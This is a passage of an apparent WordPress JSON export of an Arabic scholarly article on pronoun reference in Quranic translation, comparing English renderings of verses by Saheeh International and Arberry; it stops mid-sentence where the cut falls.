{"id":23117,"date":"2020-08-29T09:49:26","date_gmt":"2020-08-29T09:49:26","guid":{"rendered":"http:\/\/www.worldofculture2020.com\/?p=23117"},"modified":"2020-08-29T09:49:26","modified_gmt":"2020-08-29T09:49:26","slug":"%d9%85%d9%86-%d8%a5%d8%b4%d9%83%d8%a7%d9%84%d9%8a%d8%a7%d8%aa-%d8%a7%d9%84%d8%aa%d8%b1%d8%ac%d9%85%d8%a9-%d8%a7%d9%84%d8%af%d9%8a%d9%86%d9%8a%d8%a9-%d8%aa%d8%b9%d8%af%d8%af-%d8%a7%d9%84%d8%a5%d8%ad","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=23117","title":{"rendered":"\u0645\u0646 \u0625\u0634\u0643\u0627\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u062f\u064a\u0646\u064a\u0629.. \u062a\u0639\u062f\u062f \u0627\u0644\u0625\u062d\u0627\u0644\u0627\u062a\u060c \u0648\u0627\u062a\u062e\u0627\u0630 \u0627\u0644\u0642\u0631\u0627\u0631\u0627\u062a (18)"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u2013 \u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a \u2013 \u0645\u0635\u0631<\/strong><\/p>\n<p style=\"text-align: justify;\">\u064a\u0643\u062b\u0631 \u0641\u064a \u0627\u0644\u0642\u0631\u0622\u0646 \u0627\u0644\u0643\u0631\u064a\u0645 \u0648\u062c\u0648\u062f \u0636\u0645\u0627\u0626\u0631 \u0645\u062a\u0635\u0644\u0629 \u0642\u062f \u064a\u0633\u0647\u0644 \u0641\u0647\u0645 \u0627\u0644\u0639\u0627\u0626\u062f antecedent \u0641\u064a\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0633\u064a\u0627\u0642\u060c \u0648\u0642\u062f \u064a\u0635\u0639\u0628 \u0630\u0644\u0643 \u0623\u062d\u064a\u0627\u0646\u0627. \u0648\u0627\u0644\u0642\u0627\u0631\u0626 \u0627\u0644\u0639\u0631\u0628\u064a \u064a\u0639\u062a\u0645\u062f \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u0639\u0644\u0649 \u062d\u0635\u064a\u0644\u062a\u0647 \u0627\u0644\u0644\u063a\u0648\u064a\u0629 repertoire \u0641\u064a \u0645\u062d\u0627\u0648\u0644\u0629 \u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0639\u0648\u0627\u0626\u062f \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u0644\u0636\u0645\u0627\u0626\u0631 \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629co-reference . \u0648\u0647\u0630\u0627 \u0627\u0644\u0641\u0647\u0645 \u0627\u0644\u0623\u0648\u0644\u064a \u064a\u0639\u064a\u0646 \u0639\u0644\u0649 \u0641\u0647\u0645 \u0627\u0644\u0646\u0635 \u0643\u0627\u0645\u0644\u0627 \u0641\u064a \u0627\u0644\u0622\u064a\u0629.\u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0647\u064a \u0639\u0646\u062f\u0645\u0627 \u062a\u0643\u0648\u0646 \u0647\u0630\u0647 \u0627\u0644\u062d\u0635\u064a\u0644\u0629 \u0627\u0644\u0644\u063a\u0648\u064a\u0629 \u0645\u0636\u0644\u0644\u0629\u060c \u0648\u062a\u0639\u0637\u064a \u0645\u0639\u0627\u0646\u064a \u063a\u064a\u0631 \u0645\u0642\u0635\u0648\u062f\u0629\u060c \u0648\u0643\u0630\u0644\u0643 \u0639\u0646\u062f\u0645\u0627 \u064a\u062d\u062a\u0645\u0644 \u0627\u0644\u0636\u0645\u064a\u0631 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0639\u0627\u0626\u062f. \u0648\u0644\u0646\u0636\u0631\u0628 \u0623\u0645\u062b\u0644\u0629 \u0644\u0644\u062d\u0627\u0644\u0627\u062a \u0627\u0644\u062b\u0644\u0627\u062b:<\/p>\n<p style=\"text-align: justify;\">\u0623\u0648\u0644\u0627: \u0633\u0647\u0648\u0644\u0629 \u0645\u0639\u0631\u0641\u0629 \u0639\u0648\u062f \u0627\u0644\u0636\u0645\u064a\u0631 \u062f\u0648\u0646 \u0627\u0644\u0631\u062c\u0648\u0639 \u0644\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u0628\u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0639\u0644\u0649 \u0627\u0644\u0633\u0644\u064a\u0642\u0629 \u0641\u0642\u0637 \u0645\u0647\u0645\u0627 \u0643\u0627\u0646 \u0627\u0644\u062a\u0631\u0643\u064a\u0628 \u0645\u0639\u0642\u062f\u0627:<\/p>\n<p style=\"text-align: justify;\">\u0648\u064e\u0643\u064e\u0630\u064e\u0670\u0644\u0650\u0643\u064e \u0632\u064e\u064a\u0651\u064e\u0646\u064e \u0644\u0650\u0643\u064e\u062b\u0650\u064a\u0631\u064d \u0645\u0651\u0650\u0646\u064e \u0627\u0644\u0652\u0645\u064f\u0634\u0652\u0631\u0650\u0643\u0650\u064a\u0646\u064e \u0642\u064e\u062a\u0652\u0644\u064e \u0623\u064e\u0648\u0652\u0644\u064e\u0627\u062f\u0650\u0647\u0650\u0645\u0652 \u0634\u064f\u0631\u064e\u0643\u064e\u0627\u0624\u064f\u0647\u064f\u0645\u0652 (137: \u0627\u0644\u0627\u0646\u0639\u0627\u0645)<\/p>\n<p style=\"text-align: justify;\">\u0641\u0627\u0644\u0622\u064a\u0629 \u0647\u0646\u0627 \u0631\u063a\u0645 \u0623\u0646 \u0628\u0647\u0627 \u062a\u0642\u062f\u064a\u0645\u0627\u064b \u0648\u062a\u0623\u062e\u064a\u0631\u0627\u064b \u0648\u0627\u0636\u062d\u064a\u0646\u060c \u0641\u0627\u0644\u0641\u0639\u0644 (\u0632\u064a\u0646) \u0623\u062a\u0649 \u0628\u0639\u062f\u0647 \u062c\u0627\u0631 \u0648\u0645\u062c\u0631\u0648\u0631 (\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0645\u0634\u0631\u0643\u064a\u0646) \u062b\u0645 \u0623\u062a\u0649 \u0627\u0644\u0645\u0641\u0639\u0648\u0644 (\u0642\u062a\u0644 \u0623\u0648\u0644\u0627\u062f\u0647\u0645) \u0648\u0641\u064a \u0627\u0644\u0623\u062e\u064a\u0631 \u0623\u062a\u0649 \u0627\u0644\u0641\u0627\u0639\u0644 (\u0634\u0631\u0643\u0627\u0624\u0647\u0645) \u2013 \u0623\u0642\u0648\u0644 \u0631\u063a\u0645 \u062a\u0639\u0642\u064a\u062f \u0647\u0630\u0627 \u0627\u0644\u062a\u0631\u0643\u064a\u0628 \u0625\u0644\u0627 \u0623\u0646\u0647 \u0645\u0646 \u0627\u0644\u0633\u0647\u0644 \u0641\u0647\u0645 \u0645\u0646 \u0641\u0639\u0644 \u0645\u0627\u0630\u0627\u060c \u0648\u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0628\u064a\u0646 \u0627\u0644\u0623\u0644\u0641\u0627\u0638 \u0641\u064a \u0627\u0644\u0622\u064a\u0629\u060c \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0644\u0643\u0646 \u062a\u0643\u0648\u0646 \u0645\u0639\u0636\u0644\u0629:<\/p>\n<p style=\"text-align: justify;\">In the eyes of most of the pagans, their &#8220;partners&#8221; made alluring the slaughter of their children<\/p>\n<p style=\"text-align: justify;\">To many of the polytheists their partners have made [to seem] pleasing the killing of their children<\/p>\n<p style=\"text-align: justify;\">\u062b\u0627\u0646\u064a\u0627: \u0635\u0639\u0648\u0628\u0629 \u0641\u0647\u0645 \u0639\u0648\u062f \u0627\u0644\u0636\u0645\u064a\u0631 \u062f\u0648\u0646 \u0627\u0644\u0631\u062c\u0648\u0639 \u0644\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u0631\u063a\u0645 \u0633\u0647\u0648\u0644\u0629 \u0627\u0644\u062a\u0631\u0643\u064a\u0628:<\/p>\n<p style=\"text-align: justify;\">\u0645\u064e\u0646 \u0643\u064e\u0627\u0646\u064e \u064a\u064e\u0638\u064f\u0646\u0651\u064f \u0623\u064e\u0646 \u0644\u0651\u064e\u0646 \u064a\u064e\u0646\u0635\u064f\u0631\u064e\u0647\u064f \u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0641\u0650\u064a \u0627\u0644\u062f\u0651\u064f\u0646\u0652\u064a\u064e\u0627 \u0648\u064e\u0627\u0644\u0652\u0622\u062e\u0650\u0631\u064e\u0629\u0650 \u0641\u064e\u0644\u0652\u064a\u064e\u0645\u0652\u062f\u064f\u062f\u0652 \u0628\u0650\u0633\u064e\u0628\u064e\u0628\u064d \u0625\u0650\u0644\u064e\u0649 \u0627\u0644\u0633\u0651\u064e\u0645\u064e\u0627\u0621\u0650 \u062b\u064f\u0645\u0651\u064e \u0644\u0652\u064a\u064e\u0642\u0652\u0637\u064e\u0639\u0652 \u0641\u064e\u0644\u0652\u064a\u064e\u0646\u0638\u064f\u0631\u0652 \u0647\u064e\u0644\u0652 \u064a\u064f\u0630\u0652\u0647\u0650\u0628\u064e\u0646\u0651\u064e \u0643\u064e\u064a\u0652\u062f\u064f\u0647\u064f \u0645\u064e\u0627 \u064a\u064e\u063a\u0650\u064a\u0638\u064f (15) \u0633\u0648\u0631\u0629 \u0627\u0644\u062d\u062c.<\/p>\n<p style=\"text-align: justify;\">\u0641\u0627\u0644\u062a\u0631\u0643\u064a\u0628 \u0647\u0646\u0627 \u0628\u0633\u064a\u0637\u060c \u0648\u0639\u0646\u062f\u0646\u0627 \u0643\u0644\u0645\u0629 (\u064a\u0646\u0635\u0631\u0647) \u0628\u0647\u0627 \u0636\u0645\u064a\u0631 \u0627\u0644\u0647\u0627\u0621\u060c \u0648\u0627\u0644\u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0644\u063a\u0648\u064a\u0629 \u0627\u0644\u0645\u0628\u0627\u0634\u0631\u0629 \u062a\u062e\u0628\u0631\u0646\u0627 \u0623\u0646 \u0641\u0627\u0639\u0644 (\u064a\u0638\u0646) \u0647\u0648 \u0646\u0641\u0633\u0647 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a \u064a\u0646\u0635\u0631\u0647\u060c \u0648\u0647\u0648 \u0646\u0641\u0633\u0647 \u0641\u064a (\u0641\u0644\u064a\u0645\u062f\u062f) \u0648(\u0644\u064a\u0642\u0637\u0639) \u0648 (\u0644\u064a\u0646\u0638\u0631) \u0648(\u0643\u064a\u062f\u0647). \u0648\u064a\u0643\u0648\u0646 \u0627\u0644\u0645\u0639\u0646\u0649 \u0628\u0646\u0627\u0621 \u0639\u0644\u0649 \u0630\u0644\u0643 : \u0645\u0646 \u0643\u0627\u0646 \u2013 \u0645\u0646 \u0627\u0644\u0645\u0624\u0645\u0646\u064a\u0646 &#8211; \u064a\u0638\u0646 \u0623\u0646 \u0627\u0644\u0644\u0647 \u0644\u0627 \u064a\u0646\u0635\u0631\u0647\u060c \u0641\u0644\u064a\u0641\u0639\u0644 \u0645\u0627 \u0630\u0643\u0631 \u0641\u064a \u0627\u0644\u0622\u064a\u0629)&#8230; \u0648\u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0623\u0646 \u0647\u0630\u0627 \u063a\u064a\u0631 \u0635\u062d\u064a\u062d.<br \/>\u0648\u0627\u0644\u0635\u062d\u064a\u062d \u0647\u0648 \u0623\u0646 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u064a\u0646\u0635\u0631\u0647) \u064a\u0639\u0648\u062f \u0639\u0644\u0649 \u0627\u0644\u0646\u0628\u064a \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645&#8230; \u0648\u0627\u0644\u0645\u0639\u0646\u0649 \u0647\u0648 : \u0645\u0646 \u0643\u0627\u0646 \u2013 \u0645\u0646 \u0627\u0644\u0645\u0643\u0630\u0628\u064a\u0646- \u064a\u0638\u0646 \u0623\u0646 \u0627\u0644\u0644\u0647 \u0644\u0627 \u064a\u0646\u0635\u0631 \u0646\u0628\u064a\u0647 \u0641\u064a \u0627\u0644\u062f\u0646\u064a\u0627 \u0648\u0627\u0644\u0622\u062e\u0631\u0629\u060c \u0641\u0644\u064a\u0631\u0628\u0637 \u062d\u0628\u0644\u0627 (\u0633\u0628\u0628\u0627) \u0625\u0644\u0649 \u0633\u0642\u0641 \u0628\u064a\u062a\u0647 (\u0627\u0644\u0633\u0645\u0627\u0621 \u0647\u0646\u0627 \u064a\u0639\u0646\u064a \u0627\u0644\u0633\u0642\u0641 \u0648\u0644\u064a\u0633 \u0627\u0644\u0633\u0645\u0627\u0621 \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629) \u062b\u0645 \u064a\u0634\u0646\u0642 \u2013 \u0647\u0630\u0627 \u0627\u0644\u0645\u0643\u0630\u0628- \u0646\u0641\u0633\u0647\u060c \u0639\u0644\u0651\u0647 \u0628\u0641\u0639\u0644\u0647 \u0647\u0630\u0627 \u064a\u0630\u0647\u0628 \u0628\u0628\u0639\u0636 \u0627\u0644\u063a\u064a\u0638 \u0627\u0644\u0645\u0648\u062c\u0648\u062f \u0641\u064a \u0635\u062f\u0631\u0647\u060c \u0648\u0627\u0644\u0645\u0639\u0646\u0649 \u0647\u0648 \u0623\u0646 \u0627\u0644\u0644\u0647 \u0646\u0627\u0635\u0631 \u0631\u0633\u0648\u0644\u0647 \ufdfa \u0645\u0647\u0645\u0627 \u0641\u0639\u0644 \u0627\u0644\u0645\u0634\u0631\u0643\u0648\u0646.<\/p>\n<p style=\"text-align: justify;\">\u0641\u0627\u0646\u0638\u0631 \u0627\u0644\u0622\u0646 \u0647\u0630\u0647 \u0627\u0644\u0622\u064a\u0629\u060c \u0627\u0644\u062a\u064a \u064a\u063a\u064a\u0631 \u0641\u064a\u0647\u0627 \u0639\u0648\u062f \u0627\u0644\u0636\u0645\u064a\u0631 \u0627\u0644\u0645\u0639\u0627\u0646\u064a \u0643\u0644\u0647\u0627.<\/p>\n<p style=\"text-align: justify;\">Shaih International: Whoever should think that Allah will not support[Prophet Muhammad] in this world and the Hereafter &#8211; let him extend arope to the ceiling, then cut off [his breath], and let him see: willhis effort remove that which enrages [him]?<\/p>\n<p style=\"text-align: justify;\">\u0644\u0630\u0644\u0643 \u0641\u0643\u0644 \u0627\u0644\u062a\u0631\u062c\u0645\u0627\u062a \u0627\u0644\u062a\u064a \u0630\u0643\u0631\u062a \u0627\u0644\u0646\u0628\u064a \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0628\u064a\u0646 \u0642\u0648\u0633\u064a\u0646\u060c \u0642\u062f \u0623\u0648\u0636\u062d\u062a \u0627\u0644\u0645\u0639\u0646\u0649. \u0623\u0645\u0627 \u0645\u0646 \u0644\u0645 \u064a\u0630\u0643\u0631 \u0647\u0630\u0627 \u0627\u0644\u0639\u0627\u0626\u062f\u060c \u0623\u0628\u0642\u0649 \u0639\u0644\u0649 \u0627\u0644\u0645\u0639\u0646\u0649 \u0645\u0644\u062a\u0628\u0633\u0627\u060c \u0643\u0645\u0627 \u0641\u064a \u062a\u0631\u062c\u0645\u0629 \u0623\u0631\u0628\u0631\u064a:<\/p>\n<p style=\"text-align: justify;\">Arberry: Whosoever thinks God will not help him in the present world andthe world to come; let him stretch up a rope to heaven, then let himsever it, and behold whether his guile does away with what enrages him.<\/p>\n<p style=\"text-align: justify;\">\u062b\u0627\u0644\u062b\u0627: \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0647\u064a \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0623\u0646 \u064a\u0639\u0648\u062f \u0627\u0644\u0636\u0645\u064a\u0631 \u0639\u0644\u0649 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0634\u062e\u0635\u060c \u0648\u0627\u0644\u0644\u063a\u0629 \u062a\u0633\u0645\u062d \u0628\u0630\u0644\u0643 \u0648\u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u0644\u0627 \u062a\u0639\u062a\u0631\u0636\u060c \u0647\u0646\u0627 \u062a\u0643\u0648\u0646 \u0648\u0631\u0637\u0629 \u0627\u0644\u0645\u062a\u0631\u062c\u0645 dilemma \u0644\u0623\u0646 \u0639\u0644\u064a\u0647 \u0627\u062a\u062e\u0627\u0630 \u0642\u0631\u0627\u0631 \u0628\u0627\u062e\u062a\u064a\u0627\u0631 \u0645\u0627 \u064a\u0638\u0646\u0647 \u0645\u0646\u0627\u0633\u0628\u0627 \u0644\u0639\u0648\u062f \u0627\u0644\u0636\u0645\u064a\u0631. \u0641\u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0623\u0646 \u0644\u0644\u0645\u062a\u0631\u062c\u0645 \u0645\u0642\u062f\u0631\u0629 \u0644\u063a\u0648\u064a\u0629 linguistic competence \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u064a\u0647\u0627 \u0641\u064a \u0627\u0644\u062a\u0639\u0628\u064a\u0631\u060c \u0648\u0645\u0642\u062f\u0631\u0629 \u062a\u0648\u0627\u0635\u0644\u064a\u0629 communicative competence \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u064a\u0647\u0627 \u0641\u064a \u062a\u0628\u0633\u064a\u0637 \u0627\u0644\u0645\u0639\u0627\u0646\u064a \u0648\u0633\u0647\u0648\u0644\u0629 \u062a\u0648\u0635\u064a\u0644\u0647\u0627\u060c \u0644\u0643\u0646 \u0644\u0627\u0628\u062f \u0644\u0647 \u0643\u0630\u0644\u0643 \u0645\u0646 \u0645\u0642\u062f\u0631\u0629 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 strategic competence \u064a\u0628\u0646\u064a \u0639\u0644\u064a\u0647\u0627 \u0627\u062a\u062e\u0627\u0630\u0647 \u0644\u0644\u0642\u0631\u0627\u0631.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0627\u0644\u0645\u062b\u0627\u0644 \u0647\u0646\u0627 \u0645\u0646 \u0642\u0648\u0644\u0647 \u062a\u0639\u0627\u0644\u0649: \u0648\u064e\u0625\u0650\u0646 \u0645\u0651\u0650\u0646\u0652 \u0623\u064e\u0647\u0652\u0644\u0650 \u0627\u0644\u0652\u0643\u0650\u062a\u064e\u0627\u0628\u0650 \u0625\u0650\u0644\u0651\u064e\u0627 \u0644\u064e\u064a\u064f\u0624\u0652\u0645\u0650\u0646\u064e\u0646\u0651\u064e \u0628\u0650\u0647\u0650 \u0642\u064e\u0628\u0652\u0644\u064e \u0645\u064e\u0648\u0652\u062a\u0650\u0647\u0650 \u06d6 \u0648\u064e\u064a\u064e\u0648\u0652\u0645\u064e \u0627\u0644\u0652\u0642\u0650\u064a\u064e\u0627\u0645\u064e\u0629\u0650 \u064a\u064e\u0643\u064f\u0648\u0646\u064f \u0639\u064e\u0644\u064e\u064a\u0652\u0647\u0650\u0645\u0652 \u0634\u064e\u0647\u0650\u064a\u062f\u064b\u0627 (159) \u0627\u0644\u0646\u0633\u0627\u0621<\/p>\n<p style=\"text-align: justify;\">\u0648\u0644\u0646\u062f\u0631\u0643 \u0625\u0634\u0643\u0627\u0644\u064a\u0629 \u062a\u0631\u062c\u0645\u0629 \u0645\u0639\u0627\u0646\u064a \u0647\u0630\u0647 \u0627\u0644\u0622\u064a\u0629\u060c \u0646\u0628\u062d\u062b \u0641\u064a \u0643\u0644 \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629:<br \/>\u0644\u064a\u0624\u0645\u0646\u0646 (\u0627\u0644\u0636\u0645\u064a\u0631 \u0645\u0633\u062a\u062a\u0631) \u0628\u0647 (\u0627\u0644\u0647\u0627\u0621)\u060c \u0645\u0648\u062a\u0647 (\u0627\u0644\u0647\u0627\u0621)\u060c \u064a\u0643\u0648\u0646 (\u0645\u0633\u062a\u062a\u0631)<\/p>\n<p style=\"text-align: justify;\">\u0648\u062d\u0633\u0628 \u0633\u064a\u0627\u0642 \u0627\u0644\u0622\u064a\u0627\u062a \u0627\u0644\u0633\u0627\u0628\u0642\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u062d\u062f\u062b \u0639\u0646 \u0633\u064a\u062f\u0646\u0627 \u0639\u064a\u0633\u0649 \u0639\u0644\u064a\u0647 \u0627\u0644\u0633\u0644\u0627\u0645\u060c \u0646\u0641\u0647\u0645 \u0623\u0646\u0647 \u0644\u064a\u0633 \u0623\u062d\u062f \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628 \u0625\u0644\u0627 \u0633\u064a\u0624\u0645\u0646 \u0628\u0647 (\u0633\u064a\u062f\u0646\u0627 \u0639\u064a\u0633\u0649) \u0642\u0628\u0644 \u0645\u0648\u062a\u0647 (\u0633\u064a\u062f\u0646\u0627 \u0639\u064a\u0633\u0649) \u062b\u0645 \u064a\u0648\u0645 \u0627\u0644\u0642\u064a\u0627\u0645\u0629 \u064a\u0643\u0648\u0646 (\u0633\u064a\u062f\u0646\u0627 \u0639\u064a\u0633\u0649) \u0639\u0644\u064a\u0647\u0645 \u0634\u0647\u064a\u062f\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0627\u0644\u0623\u0645\u0631 \u0628\u0633\u064a\u0637 \u0625\u0630\u0646. \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0623\u0646 \u0647\u0646\u0627\u0643 \u0642\u0631\u0627\u0621\u0629 \u0623\u062e\u0631\u0649 \u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0622\u064a\u0629\/ \u062a\u0643\u0648\u0646 \u0647\u0643\u0630\u0627:<\/p>\n<p style=\"text-align: justify;\">\u0644\u064a\u0633 \u0623\u062d\u062f \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628 \u0625\u0644\u0627 \u0633\u064a\u0624\u0645\u0646 \u0628\u0647 (\u0633\u064a\u062f\u0646\u0627 \u0639\u064a\u0633\u0649) \u0642\u0628\u0644 \u0645\u0648\u062a\u0647 (\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0630\u064a \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628) \u062b\u0645 \u064a\u0648\u0645 \u0627\u0644\u0642\u064a\u0627\u0645\u0629 \u064a\u0643\u0648\u0646 (\u0633\u064a\u062f\u0646\u0627 \u0639\u064a\u0633\u0649) \u0639\u0644\u064a\u0647\u0645 \u0634\u0647\u064a\u062f\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0647\u0630\u0627 \u064a\u0639\u0646\u0649 \u0623\u0646 \u0643\u0644 \u0648\u0627\u062d\u062f \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628 \u062a\u0643\u0634\u0641 \u0644\u0647 \u0627\u0644\u062d\u062c\u0628 \u0642\u0628\u0644 \u0645\u0648\u062a\u0647\u060c \u0648\u064a\u062f\u0631\u0643 \u062d\u0642\u064a\u0642\u0629 \u0633\u064a\u062f\u0646\u0627 \u0639\u064a\u0633\u0649 \u0648\u0623\u0646\u0647 \u0644\u064a\u0633 \u0625\u0644\u0647\u0627\u060c \u0641\u064a\u0624\u0645\u0646 \u0628\u0647 \u0628\u0634\u0631\u0627 \u0631\u0633\u0648\u0644\u0627 \u0648\u0642\u062a \u0644\u0627 \u064a\u0646\u0641\u0639\u0647 \u0627\u0644\u0625\u064a\u0645\u0627\u0646&#8230;<\/p>\n<p style=\"text-align: justify;\">\u0648\u0647\u0630\u0627 \u0645\u0639\u0646\u0649 \u062c\u062f\u064a\u062f \u062a\u0645\u0627\u0645\u0627\u060c \u0648\u0644\u0643\u0646 \u0627\u0644\u0644\u063a\u0629 \u062a\u062d\u062a\u0645\u0644\u0647 \u0648\u0643\u0630\u0644\u0643 \u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u062a\u0648\u0631\u062f\u0647.<\/p>\n<p style=\"text-align: justify;\">\u0627\u0644\u0623\u0645\u0631 \u0645\u0627\u0632\u0627\u0644 \u0628\u0647 \u0642\u0631\u0627\u0621\u0629 \u062b\u0627\u0644\u062b\u0629: \u0644\u064a\u0633 \u0623\u062d\u062f \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628 \u0625\u0644\u0627 \u0633\u064a\u0624\u0645\u0646 \u0628\u0647 (\u0633\u064a\u062f\u0646\u0627 \u0645\u062d\u0645\u062f) \u0642\u0628\u0644 \u0645\u0648\u062a\u0647 (\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0630\u064a \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628) \u062b\u0645 \u064a\u0648\u0645 \u0627\u0644\u0642\u064a\u0627\u0645\u0629 \u064a\u0643\u0648\u0646 (\u0633\u064a\u062f\u0646\u0627 \u0645\u062d\u0645\u062f) \u0639\u0644\u064a\u0647\u0645 \u0634\u0647\u064a\u062f\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0647\u0646\u0627 \u0627\u0644\u0645\u0639\u0646\u0649 \u0645\u062e\u062a\u0644\u0641\u060c \u0644\u0643\u0646\u0647 \u063a\u064a\u0631 \u0645\u062a\u0635\u0627\u062f\u0645 \u060c \u0641\u0627\u0644\u0645\u0639\u0646\u0649 \u0623\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628 \u064a\u062f\u0631\u0643\u0648\u0646 \u0635\u062f\u0642 \u0646\u0628\u0648\u0629 \u0627\u0644\u0646\u0628\u064a \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0642\u0628\u0644 \u0645\u0648\u062a\u0647\u0645 \u0641\u064a\u0624\u0645\u0646\u0648\u0646 \u0628\u0647 (\u0625\u064a\u0645\u0627\u0646\u0627\u064b \u0644\u0627 \u064a\u0646\u0641\u0639) \u0648\u064a\u0643\u0648\u0646 \u0627\u0644\u0646\u0628\u064a \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0634\u0647\u064a\u062f\u0627 \u064a\u0648\u0645 \u0627\u0644\u0642\u064a\u0627\u0645\u0629..<\/p>\n<p style=\"text-align: justify;\">\u0644\u0643\u0646 \u0627\u0644\u0641\u0648\u0627\u0626\u062f \u0644\u0645 \u062a\u0646\u0642\u0637\u0639 \u0628\u0639\u062f\u060c \u0641\u064a \u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u0642\u0631\u0627\u0621\u0629 \u0623\u062e\u0631\u0649:<\/p>\n<p style=\"text-align: justify;\">\u0644\u064a\u0633 \u0623\u062d\u062f \u0645\u0646 \u0623\u062d\u062f \u0627\u0644\u0643\u062a\u0627\u0628 \u0625\u0644\u0627 \u0633\u064a\u0624\u0645\u0646 \u0628\u0647 (\u0627\u0644\u0642\u0631\u0622\u0646) \u0642\u0628\u0644 \u0645\u0648\u062a\u0647 (\u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0630\u064a \u0645\u0646 \u0623\u0647\u0644 \u0627\u0644\u0643\u062a\u0627\u0628) \u062b\u0645 \u064a\u0648\u0645 \u0627\u0644\u0642\u064a\u0627\u0645\u0629 \u064a\u0643\u0648\u0646 (\u0627\u0644\u0642\u0631\u0622\u0646) \u0639\u0644\u064a\u0647\u0645 \u0634\u0647\u064a\u062f\u0627.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0647\u0646\u0627 \u062e\u0635\u064a\u0635\u0629 \u0641\u064a \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u2013 \u0644\u064a\u0633\u062a \u0641\u064a \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u2013 \u0648\u0647\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0636\u0645\u064a\u0631 \u0627\u0644\u0645\u0641\u0631\u062f \u0644\u0644\u0639\u0627\u0642\u0644 \u0648\u063a\u064a\u0631 \u0627\u0644\u0639\u0627\u0642\u0644\u060c \u0641\u064a \u062d\u064a\u0646 \u062a\u0641\u0631\u062f \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0644\u0643\u0644 \u0648\u0627\u062d\u062f \u0645\u0646\u0647\u0645\u0627 \u0636\u0645\u064a\u0631\u0627 \u0645\u0633\u062a\u0642\u0644\u0627 ( he, it) \u0648\u0647\u0630\u0627 \u064a\u0632\u064a\u062f \u0645\u0646 \u0648\u0631\u0637\u0629 \u0627\u0644\u0645\u062a\u0631\u062c\u0645.<\/p>\n<p style=\"text-align: justify;\">\u0627\u0644\u0622\u0646 \u0645\u0627\u0630\u0627 \u064a\u0641\u0639\u0644 \u0627\u0644\u0645\u062a\u0631\u062c\u0645 \u0648\u0623\u0645\u0627\u0645\u0647 \u0647\u0630\u0627 \u0627\u0644\u062d\u0634\u062f 